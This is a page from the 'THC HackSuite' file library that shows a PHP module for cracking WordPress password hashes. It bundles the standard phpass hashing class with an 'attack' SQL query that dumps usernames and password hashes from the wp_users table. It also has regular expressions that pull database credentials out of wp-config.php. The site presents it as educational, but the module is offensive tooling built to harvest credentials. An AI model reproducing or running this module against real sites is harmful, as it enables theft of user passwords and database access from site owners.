random gallery image
random tutorial
preview

..one or more modules you must have seen the iframes used for realtime result display. In this tutorial I'm going to show you how to insert them into your module and how they..

read more

random vulnerability assesment
THC AntiEvil

Attempts to find suspicious and evil files or code

more about this module
more of this category
more modules

HackSuite File Library
File Library
Here you can find the latest files and structure of the THC HackSuite, note that if you have an earlier version of the suite it's not recommended to update files manually. Instead you should overwrite your existing HackSuite environment.
<?php
/* Wordpress */
if(!class_exists("PasswordHash")){
/**
 * Portable PHP password hashing framework.
 * @package phpass
 * @since 2.5
 * @version 0.3 / WordPress
 * @link http://www.openwall.com/phpass/
 */

#
# Written by Solar Designer <solar at openwall.com> in 2004-2006 and placed in
# the public domain.  Revised in subsequent years, still public domain.
#
# There's absolutely no warranty.
#
# Please be sure to update the Version line if you edit this file in any way.
# It is suggested that you leave the main version number intact, but indicate
# your project name (after the slash) and add your own revision information.
#
# Please do not change the "private" password hashing method implemented in
# here, thereby making your hashes incompatible.  However, if you must, please
# change the hash type identifier (the "$P$") to something different.
#
# Obviously, since this code is in the public domain, the above are not
# requirements (there can be none), but merely suggestions.
#

/**
 * Portable PHP password hashing framework.
 *
 * @package phpass
 * @version 0.3 / WordPress
 * @link http://www.openwall.com/phpass/
 * @since 2.5
 */
class PasswordHash {
    var 
$itoa64;
    var 
$iteration_count_log2;
    var 
$portable_hashes;
    var 
$random_state;

    function 
PasswordHash($iteration_count_log2$portable_hashes)
    {
        
$this->itoa64 './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';

        if (
$iteration_count_log2 || $iteration_count_log2 31)
            
$iteration_count_log2 8;
        
$this->iteration_count_log2 $iteration_count_log2;

        
$this->portable_hashes $portable_hashes;

        
$this->random_state microtime() . uniqid(rand(), TRUE); // removed getmypid() for compatibility reasons
    
}

    function 
get_random_bytes($count)
    {
        
$output '';
        if ( @
is_readable('/dev/urandom') &&
            (
$fh = @fopen('/dev/urandom''rb'))) {
            
$output fread($fh$count);
            
fclose($fh);
        }

        if (
strlen($output) < $count) {
            
$output '';
            for (
$i 0$i $count$i += 16) {
                
$this->random_state =
                    
md5(microtime() . $this->random_state);
                
$output .=
                    
pack('H*'md5($this->random_state));
            }
            
$output substr($output0$count);
        }

        return 
$output;
    }

    function 
encode64($input$count)
    {
        
$output '';
        
$i 0;
        do {
            
$value ord($input[$i++]);
            
$output .= $this->itoa64[$value 0x3f];
            if (
$i $count)
                
$value |= ord($input[$i]) << 8;
            
$output .= $this->itoa64[($value >> 6) & 0x3f];
            if (
$i++ >= $count)
                break;
            if (
$i $count)
                
$value |= ord($input[$i]) << 16;
            
$output .= $this->itoa64[($value >> 12) & 0x3f];
            if (
$i++ >= $count)
                break;
            
$output .= $this->itoa64[($value >> 18) & 0x3f];
        } while (
$i $count);

        return 
$output;
    }

    function 
gensalt_private($input)
    {
        
$output '$P$';
        
$output .= $this->itoa64[min($this->iteration_count_log2 +
            ((
PHP_VERSION >= '5') ? 3), 30)];
        
$output .= $this->encode64($input6);

        return 
$output;
    }

    function 
crypt_private($password$setting)
    {
        
$output '*0';
        if (
substr($setting02) == $output)
            
$output '*1';

        
$id substr($setting03);
        
# We use "$P$", phpBB3 uses "$H$" for the same thing
        
if ($id != '$P$' && $id != '$H$')
            return 
$output;

        
$count_log2 strpos($this->itoa64$setting[3]);
        if (
$count_log2 || $count_log2 30)
            return 
$output;

        
$count << $count_log2;

        
$salt substr($setting48);
        if (
strlen($salt) != 8)
            return 
$output;

        
# We're kind of forced to use MD5 here since it's the only
        # cryptographic primitive available in all versions of PHP
        # currently in use.  To implement our own low-level crypto
        # in PHP would result in much worse performance and
        # consequently in lower iteration counts and hashes that are
        # quicker to crack (by non-PHP code).
        
if (PHP_VERSION >= '5') {
            
$hash md5($salt $passwordTRUE);
            do {
                
$hash md5($hash $passwordTRUE);
            } while (--
$count);
        } else {
            
$hash pack('H*'md5($salt $password));
            do {
                
$hash pack('H*'md5($hash $password));
            } while (--
$count);
        }

        
$output substr($setting012);
        
$output .= $this->encode64($hash16);

        return 
$output;
    }

    function 
gensalt_extended($input)
    {
        
$count_log2 min($this->iteration_count_log2 824);
        
# This should be odd to not reveal weak DES keys, and the
        # maximum valid value is (2**24 - 1) which is odd anyway.
        
$count = (<< $count_log2) - 1;

        
$output '_';
        
$output .= $this->itoa64[$count 0x3f];
        
$output .= $this->itoa64[($count >> 6) & 0x3f];
        
$output .= $this->itoa64[($count >> 12) & 0x3f];
        
$output .= $this->itoa64[($count >> 18) & 0x3f];

        
$output .= $this->encode64($input3);

        return 
$output;
    }

    function 
gensalt_blowfish($input)
    {
        
# This one needs to use a different order of characters and a
        # different encoding scheme from the one in encode64() above.
        # We care because the last character in our encoded string will
        # only represent 2 bits.  While two known implementations of
        # bcrypt will happily accept and correct a salt string which
        # has the 4 unused bits set to non-zero, we do not want to take
        # chances and we also do not want to waste an additional byte
        # of entropy.
        
$itoa64 './ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';

        
$output '$2a$';
        
$output .= chr(ord('0') + $this->iteration_count_log2 10);
        
$output .= chr(ord('0') + $this->iteration_count_log2 10);
        
$output .= '$';

        
$i 0;
        do {
            
$c1 ord($input[$i++]);
            
$output .= $itoa64[$c1 >> 2];
            
$c1 = ($c1 0x03) << 4;
            if (
$i >= 16) {
                
$output .= $itoa64[$c1];
                break;
            }

            
$c2 ord($input[$i++]);
            
$c1 |= $c2 >> 4;
            
$output .= $itoa64[$c1];
            
$c1 = ($c2 0x0f) << 2;

            
$c2 ord($input[$i++]);
            
$c1 |= $c2 >> 6;
            
$output .= $itoa64[$c1];
            
$output .= $itoa64[$c2 0x3f];
        } while (
1);

        return 
$output;
    }

    function 
HashPassword($password)
    {
        
$random '';

        if (
CRYPT_BLOWFISH == && !$this->portable_hashes) {
            
$random $this->get_random_bytes(16);
            
$hash =
                
crypt($password$this->gensalt_blowfish($random));
            if (
strlen($hash) == 60)
                return 
$hash;
        }

        if (
CRYPT_EXT_DES == && !$this->portable_hashes) {
            if (
strlen($random) < 3)
                
$random $this->get_random_bytes(3);
            
$hash =
                
crypt($password$this->gensalt_extended($random));
            if (
strlen($hash) == 20)
                return 
$hash;
        }

        if (
strlen($random) < 6)
            
$random $this->get_random_bytes(6);
        
$hash =
            
$this->crypt_private($password,
            
$this->gensalt_private($random));
        if (
strlen($hash) == 34)
            return 
$hash;

        
# Returning '*' on error is safe here, but would _not_ be safe
        # in a crypt(3)-like function used _both_ for generating new
        # hashes and for validating passwords against existing hashes.
        
return '*';
    }

    function 
CheckPassword($password$stored_hash)
    {
        
$hash $this->crypt_private($password$stored_hash);
        if (
$hash[0] == '*')
            
$hash crypt($password$stored_hash);

        return 
$hash === $stored_hash;
    }
}
}
$_PROPERTIES = array();
$_PROPERTIES['name'] = "Wordpress";
$_PROPERTIES['version'] = "3.x";
$_PROPERTIES['usernamefield'] = "user_login";
$_PROPERTIES['emailfield'] = "user_email";
$_PROPERTIES['hashfield'] = "user_pass";
$_PROPERTIES['tablename'] = "users";
$_PROPERTIES['tableprefix'] = "wp_";
$_PROPERTIES['filename'] = "wordpress/wordpressa.php";
// use post variables instead if values are different from default
if(isset($_POST['iUseDefault']) && $_POST['iUseDefault']==0){
    
$_PROPERTIES['usernamefield'] = @mysql_real_escape_string($_POST['sUserNameField']);
    
$_PROPERTIES['emailfield'] = @mysql_real_escape_string($_POST['sEmailField']);
    
$_PROPERTIES['hashfield'] = @mysql_real_escape_string($_POST['sHashField']);
    
$_PROPERTIES['tablename'] = @mysql_real_escape_string($_POST['sTableName']);
    
$_PROPERTIES['tableprefix'] = @mysql_real_escape_string($_POST['sTablePrefix']);
}
$_PROPERTIES['queryraw'] = array();
$_PROPERTIES['queryraw']['attack'] = "SELECT ".$_PROPERTIES['usernamefield']." AS crackuser,".$_PROPERTIES['hashfield']." AS crackpass FROM ".$_PROPERTIES['tableprefix'].$_PROPERTIES['tablename'];
$_PROPERTIES['queryraw']['getemail'] = "SELECT ".$_PROPERTIES['emailfield']." AS temail FROM ".$_PROPERTIES['tableprefix'].$_PROPERTIES['tablename']." WHERE ".$_PROPERTIES['usernamefield']."='/user/'";
if(isset(
$_GET['JSON'])){
    
session_cache_limiter('nocache');
    
header('Expires: '.gmdate('r',0));
    
header('Content-type: application/json');
    echo 
json_encode($_PROPERTIES);
}
$_SYSTEM = array();
$_SYSTEM['name'] = $_PROPERTIES['name'];
$_SYSTEM['version'] = $_PROPERTIES['version'];
$_SYSTEM['patterns'] = array();
$_SYSTEM['patterns']['user'] = '/define\(\'DB_USER\',\s+\'(.*)?\'\)/';
$_SYSTEM['patterns']['password'] = '/define\(\'DB_PASSWORD\',\s+\'(.*)?\'\)/';
$_SYSTEM['patterns']['host'] = '/define\(\'DB_HOST\',\s+\'(.*)?\'\)/';
$_SYSTEM['patterns']['database'] = '/define\(\'DB_NAME\',\s+\'(.*)?\'\)/';
$_SYSTEM['file'] = "wp-config.php";
?>
powered by
site stats
cms statistics:
version: 0.6.0
downloads: 3840
native: 26
modules: 21
apps: 2
support development
It takes lots of calories in order to create new things for the hacksuite, so it would be grand if you could buy me a protein shake or extra energy to keep me going. Thanks!
disclaimer
We are not responsible for any direct or indirect damage caused by abusing the tools provided on hacksuite.com. The suite is developed for educational purposes, use at your own risk!
Created by Remco Kouw. Powered by protein shakes and a high calorie diet.